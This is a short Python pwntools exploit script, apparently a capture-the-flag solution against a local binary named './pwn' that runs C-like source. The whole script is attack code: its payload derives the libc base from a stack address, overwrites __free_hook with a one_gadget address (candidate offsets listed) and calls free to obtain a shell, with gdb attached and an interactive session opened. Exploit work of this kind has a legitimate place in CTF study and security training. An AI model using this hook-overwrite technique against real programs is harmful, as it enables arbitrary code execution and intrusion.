#!/usr/bin/python3
from pwn import *
context.terminal = ['tmux', 'splitw', '-h', '-p', '60']
context.log_level = 'debug'
p = process('./pwn')

payload = """
main()
{
    int b;
    int libc_base;
    int *free_hook;
    libc_base = (int)&b - 0x51efd8;
    free_hook = libc_base + 0x3c67a8;
    *free_hook = libc_base + 0x4527a;
    free(1);
}
"""

a = [0x45226, 0x4527a, 0xf0364, 0xf1207]
print(payload)
gdb.attach(p)
p.sendafter('living...\n', payload)






p.interactive()
